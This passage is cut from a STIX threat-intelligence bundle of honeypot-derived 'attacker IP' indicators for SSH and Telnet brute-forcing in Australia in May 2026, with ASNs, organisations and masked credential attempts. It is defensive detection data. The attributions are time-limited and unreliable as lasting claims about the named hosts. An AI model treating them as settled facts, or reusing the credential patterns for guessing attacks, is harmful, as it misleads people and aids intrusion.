      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.86.192.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 360. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131386. Organisation(s): Long Van System Solution JSC. Usernames observed (masked): r**t, 3**********4, c***a, p****l, d**g. Passwords observed (masked): 3***********4, 3**********4, 1****6, E******3, Q*******x.",
      "id": "indicator--3f78ef7c-ca80-4e46-90f2-f5a606a629a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.119.84.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, 3**********4, t******r, u******e, g***t. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, 1****6.",
      "id": "indicator--47c6b2ca-4239-40ba-961b-879ee99a483b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.143.200.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): f*****r, u***1. Passwords observed (masked): 1****6, 1******8.",
      "id": "indicator--27830df3-8e52-416e-8a76-1c80c1f66ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.6.248.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, t******r, **, m*****a. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, A********5.",
      "id": "indicator--487561a0-51b0-4a24-b858-b430b0c4a2d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.38.79.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T00:15:20.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 7*****7.",
      "id": "indicator--ee177c33-da3b-49a0-91c5-2a47a2144064",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T00:15:20.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.167.227.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T00:15:20.000Z",
      "valid_until": "2026-06-23T00:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f27a68df-62bd-46fa-ab35-5529d55be791",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.181.236.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 419. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, u**r, *****. Passwords observed (masked): ***, 1**4, 1***5, p******d, *****.",
      "id": "indicator--6c87c1b9-db84-45c5-888a-65664dd4cf31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.12.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ca417df2-ea12-42d1-ad27-658cebd7ff28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.134.155.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--421b2536-ac05-4abb-b7a4-93c1cbe45cbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.73.145.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 25227. Organisation(s): JSC Avantel. Usernames observed (masked): r**t, u***4, 3**********4, u***5. Passwords observed (masked): 1******W, 3***********4, 3**********4, A******4, D******3.",
      "id": "indicator--a69845c7-da9a-47e7-bcb8-a52da258655d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.92.241.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 21826. Organisation(s): Corporacion Telemic C.A..",
      "id": "indicator--27efdc81-3401-48e1-9c8c-07dbb642871d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.142.111.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--07c6063f-ac43-4365-a1fb-75ff5fb04d20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.96.139.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9976. Organisation(s): Namincheon Brodcasting Co., Ltd..",
      "id": "indicator--3e6957cc-512d-459c-8d2f-0e5933e3831f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.238.83.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--7e9cfca1-b711-4790-bac3-3b7e6acdc3e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.228.10.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 542. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, m*****r, s*****t, t**t. Passwords observed (masked): a***n, 1****6, 1**4, P******d, 0**************D.",
      "id": "indicator--28c4138d-e9d0-4336-9cc0-53771a8859d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.41.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271899. Organisation(s): GIGAPOP, C.A..",
      "id": "indicator--4e59d42c-1cb5-4f3f-a18e-e40ebe92f83c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.7.5.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 360. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 3356. Organisation(s): Level 3 Parent, LLC. Usernames observed (masked): r**t, 3**********4, o**o, o****e, p*******r. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1***5.",
      "id": "indicator--c2167c7c-9898-4810-8b1a-e21d03cdc74a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.245.17.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom. Usernames observed (masked): r**t, 3**********4, ***, m*******t, u****u. Passwords observed (masked): 3***********4, 3**********4, A*******3, A******!, P**********3.",
      "id": "indicator--66dd9939-7f17-47ff-83fc-47ff9b0c2431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.211.72.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--b7e7b216-b907-4b6d-81f8-7f1b6a23db73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.4.26.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--9fb28992-f217-4a7d-a341-805956f29e42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.43.135.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T01:15:10.000Z",
      "valid_until": "2026-06-23T01:15:08.000Z"
    },
    {
      "created": "2026-05-22T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137172. Organisation(s): ALL CONNECT NETWORK SERVICES PRIVATE LIMITED.",
      "id": "indicator--083bf3f0-7ad9-47e7-b688-fee86123dd49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.214.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:15:10.000Z",
      "valid_until": "2026-06-23T02:15:08.000Z"
    },
    {
      "created": "2026-05-22T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 116. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 152565. Organisation(s): JOY SERVICES. Usernames observed (masked): r**t. Passwords observed (masked): 1*******#, A********3, A******#, A********1, A********5.",
      "id": "indicator--477c079c-f26e-46a4-92e2-59962153c79f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.252.100.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:15:10.000Z",
      "valid_until": "2026-06-23T02:15:08.000Z"
    },
    {
      "created": "2026-05-22T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 133933. Organisation(s): NetSat Private Limited.",
      "id": "indicator--5ea2af10-9b21-463e-9595-dc0804ecfd30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.192.157.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:15:10.000Z",
      "valid_until": "2026-06-23T02:15:08.000Z"
    },
    {
      "created": "2026-05-22T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--457a433f-67f0-45f9-a43d-9388be29b223",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.146.2.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:15:10.000Z",
      "valid_until": "2026-06-23T02:15:08.000Z"
    },
    {
      "created": "2026-05-22T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--8a7181aa-a1f5-4534-8368-9d3d9e6a9d3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.55.152.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:15:10.000Z",
      "valid_until": "2026-06-23T02:15:08.000Z"
    },
    {
      "created": "2026-05-22T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--6052b718-4eb0-4ae0-969b-3310bfb30b53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.1.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:15:10.000Z",
      "valid_until": "2026-06-23T02:15:08.000Z"
    },
    {
      "created": "2026-05-22T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--cc1201b0-647c-4966-a7e7-affc3faa6cd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.170.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:15:10.000Z",
      "valid_until": "2026-06-23T02:15:08.000Z"
    },
    {
      "created": "2026-05-22T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268930. Organisation(s): Ilhas Net LTDA - ME.",
      "id": "indicator--434de9d7-30c0-4abd-ba90-f527d5b18a50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.176.46.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:15:10.000Z",
      "valid_until": "2026-06-23T02:15:08.000Z"
    },
    {
      "created": "2026-05-22T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk.",
      "id": "indicator--c41aaa75-c950-47f2-8f19-adb7730e745d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.86.115.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T02:15:10.000Z",
      "valid_until": "2026-06-23T02:15:08.000Z"
    },
    {
      "created": "2026-05-22T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, 3**********4, a****1, ***, u**r. Passwords observed (masked): 1******R, 1*******!, 2******C, 3***********4, 3**********4.",
      "id": "indicator--becfd0cc-d515-4e82-9b3a-105897c94c03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.115.56.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T03:15:10.000Z",
      "valid_until": "2026-06-23T03:15:08.000Z"
    },
    {
      "created": "2026-05-22T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 206206. Organisation(s): Kurdistan Net Company for Computer and Internet Ltd..",
      "id": "indicator--d3ede2c9-2d08-44ed-8e51-5de6a05c19e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.106.29.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T03:15:10.000Z",
      "valid_until": "2026-06-23T03:15:08.000Z"
    },
    {
      "created": "2026-05-22T03:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a*******3, a*******3, p*******!.",
      "id": "indicator--1fcbbbee-ae17-48a4-b9da-3201b831775c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.190.200.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T03:15:10.000Z",
      "valid_until": "2026-06-23T03:15:08.000Z"
    },
    {
      "created": "2026-05-22T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--e89e0667-ff8f-472a-a4a6-adfc9c0ba6a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.32.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T03:15:10.000Z",
      "valid_until": "2026-06-23T03:15:08.000Z"
    },
    {
      "created": "2026-05-22T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 44247. Organisation(s): Videosat 21 Vek OOD.",
      "id": "indicator--eae31522-506c-4f3f-85dd-9948d9c9b1f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T03:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.21.136.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T03:15:10.000Z",
      "valid_until": "2026-06-23T03:15:08.000Z"
    },
    {
      "created": "2026-05-22T03:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--9340d7b6-6eb0-49c2-93f1-2477975eb5e3",
      "labels": [
        "bruteforce"
      ],
